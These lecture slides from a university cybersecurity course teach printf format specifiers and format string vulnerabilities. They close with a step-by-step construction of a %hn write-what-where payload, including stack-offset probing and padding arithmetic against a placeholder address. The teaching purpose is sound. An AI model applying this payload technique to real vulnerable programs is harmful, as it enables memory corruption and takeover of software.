
CSCI 3330
Cybersecurity

Word of the day

ANGRY FRUIT SALAD n.

A bad visual-interface design that uses too many colors. (This term derives, of course, from the bizarre day-glo colors found in canned fruit salad.) Too often one sees similar effects from interface designers using color window systems such as X; there is a tendency to create displays that are flashy and attention-getting but uncomfortable for long-term use.

Agenda for today

- Format strings
- Format string vulnerabilities
- Chroot

Format of a format string

- `%[argn$][flags][width][.precision][length modifier]`**`conversion`**
- %s – ?
- %d – ?
- %x – ?
- %p – ?
- %f – ?
- %n – ?

Format of a format string

- `%[argn$][flags][width][.precision][length modifier]`**`conversion`**
- %s – const char *
- %d – int
- %x – unsigned int
- %p – void *
- %f – double
- %n – int *

What does this print?

```
int a;
printf("hi%n there\n", &a);
printf("%d\n", a);
```

What does this print?

```
    int a;
    printf("hi%n there\n", &a);
    printf("%d\n", a);
```

```
hi there
2
```

What does this print?

```
unsigned int a = 0xdeadbeef;
printf("%.1000x\n", a);
```

What does this print?

```
    unsigned int a = 0xdeadbeef;
    printf("%.1000x\n", a);
```

000...[992 total zeros]...000deadbeef

Format of a format string

- `%[argn$][flags][width][.precision][length modifier]conversion`
- h – half length
- hh – half half (quarter) length
- l – long
- ll – long long

What does this print?

```
unsigned int a = 0xdeadbeef;
printf("0x%x\n", a);
```

What does this print?

```
    unsigned int a = 0xdeadbeef;
    printf("0x%x\n", a);
```

```
0xdeadbeef
```

What does this print?

```
unsigned short a = 0xbeef;
printf("0x%hx\n", a);
```

What does this print?

```
    unsigned short a = 0xbeef;
    printf("0x%hx\n", a);
0xbeef
```

What does this print?

```
unsigned char a = 0xbe;
printf("0x%hhx\n", a);
```

What does this print?

```
unsigned char a = 0xbe;
printf("0x%hhx\n", a);
```

```
0xbe
```

What does this print?

```
int a;
printf("hello%n\n", &a);
printf("%d\n", a);
```

What does this print?

```
    int a;
    printf("hello%n\n", &a);
    printf("%d\n", a);
```

```
hello
5
```

What does this print?

```
short a;
printf("hello%hn\n", &a);
printf("%hd\n", a);
```

What does this print?

```
    short a;
    printf("hello%hn\n", &a);
    printf("%hd\n", a);
```

```
hello
5
```

What does this print?

```
char a;
printf("hello%hhn\n", &a);
printf("%hhd\n", a);
```

What does this print?

```
    char a;
    printf("hello%hhn\n", &a);
    printf("%hhd\n", a);
```

```
hello
5
```

Format of a format string

- `%[argn$][flags][width][.precision][length modifier]conversion`
- *m*$ – reference the *m*th argument
- If a $ is used in one conversion, **it must be used for all**

What does this print?

```
unsigned int a = 0xdead;
unsigned int b = 0xbeef;
printf("%1$x %2$x\n", a, b);
```

What does this print?

```
    unsigned int a = 0xdead;
    unsigned int b = 0xbeef;
    printf("%1$x %2$x\n", a, b);
```

```
dead beef
```

What does this print?

```
unsigned int a = 0xdead;
unsigned int b = 0xbeef;
printf("%1$x %1$x\n", a, b);
```

What does this print?

```
    unsigned int a = 0xdead;
    unsigned int b = 0xbeef;
    printf("%1$x %1$x\n", a, b);
```

```
dead dead
```

What does this print?

```
unsigned int a = 0xbeef;
printf("%1$x %1$x\n", a);
```

What does this print?

```
    unsigned int a = 0xbeef;
    printf("%1$x %1$x\n", a);
```

```
beef beef
```

What does this print?

```
unsigned int a = 0xbeef;
printf("%1000$x\n", a);
```

What does this print?

```
int a = 1234; int b = 5678;
printf("hello%1$n\n", &a, &b);
printf("%d %d\n", a, b);
```

What does this print?

```
    int a = 1234; int b = 5678;
    printf("hello%1$n\n", &a, &b);
    printf("%d %d\n", a, b);
```

```
hello
5 5678
```

What does this print?

```
int a = 1234; int b = 5678;
printf("hello%2$n\n", &a, &b);
printf("%d %d\n", a, b);
```

```
hello
1234 5
```

What does this print?

```
int a = 1234; int b = 5678;
printf("hello%1000$n\n", &a, &b);
printf("%d %d\n", a, b);
```

Format string vulnerabilities

- printf("%s", "hello, world\n");

Format string vulnerabilities

- printf("%s", "hello, world\n");
- printf("hello, world\n");

Format string vulnerabilities

- printf("%s", "hello, world\n");
- printf("hello, world\n");
- const char *user_input = …;

Format string vulnerabilities

- printf("%s", "hello, world\n");
- printf("hello, world\n");
- const char *user_input = …;
- printf("%s", user_input);

Format string vulnerabilities

- printf("%s", "hello, world\n");
- printf("hello, world\n");
- const char *user_input = …;
- printf("%s", user_input);
- printf(user_input);

Format string vulnerabilities

- printf("%s", "hello, world\n");
- printf("hello, world\n");
- const char *user_input = …;
- printf("%s", user_input);
- printf(user_input); /* !?!?!? */

Anatomy of a format string attack

```
\x12\xc0\x04\x08\x10\xc0\x04\x08%.2044x%15$hn%.35565x%16$hn
```

1) What you write to memory
2) Where you write (1)
3) Where, relative to %ebp+8, you read (2)

Construct string by starting at (3)

- First determine offset of buffer relative to %ebp+8
- Probing (recall how A is encoded in ASCII)
- `AAAA 1:%1$.8x: ff803f18`
- `AAAA 2:%2$.8x: ffa5afbc`
- …
- `AAAA 15:%15$.8x: 41414141`
- …

Construct string by starting at (3)

```
\x??\x??\x??\x??\x??\x??\x??\x??%.????x%15$hn%.????x%16$hn
```

Determine value of (1)

- Suppose we want to write 0x12345678
- Bytes: 0x78 0x56 0x34 0x12
- Shorts: 0x5678 0x1234
- Determine which short is smaller: 0x1234 (last)
- Subtract bytes already written: `\x??\x??\x??\x??\x??\x??\x??\x??` (8)
- 0x1234 – 8 = 4652

Determine value of (1)

- 0x1234 – 8 = 4652

\x??\x??\x??\x??\x??\x??\x??\x??%.4652x%15$hn%.????x%16$hn

- 0x5678 – 4652 – 8 = 17476

\x??\x??\x??\x??\x??\x??\x??\x??%.4652x%15$hn%.17476x%16$hn

Now construct (2)

- Suppose we want to overwrite a 32-bit value at address 0xdeadbeef
- We want to write our shorts to 0xdeadbeef and 0xdeadbeef + 2 = 0xdeadbef1
- If in (1) we wrote the last short first, we write the higher address first. Else we write the shortest first.
- Since we wrote the last short first, we will write:

\xf1\xbe\xad\xde\xef\xbe\xad\xde%.4652x%15$hn%.17476x%16$hn

Assignment 7

- Deadline: November 18, 2025, 10:00pm
- Textbook RSA attacks
  https://tildesites.bowdoin.edu/~j.knockel/csci3330f25/assignment7.pdf

Assignment 8

- Deadline: December 5, 2025, 10:00pm
- Format string vulnerabilities
  https://tildesites.bowdoin.edu/~j.knockel/csci3330f25/assignment8.pdf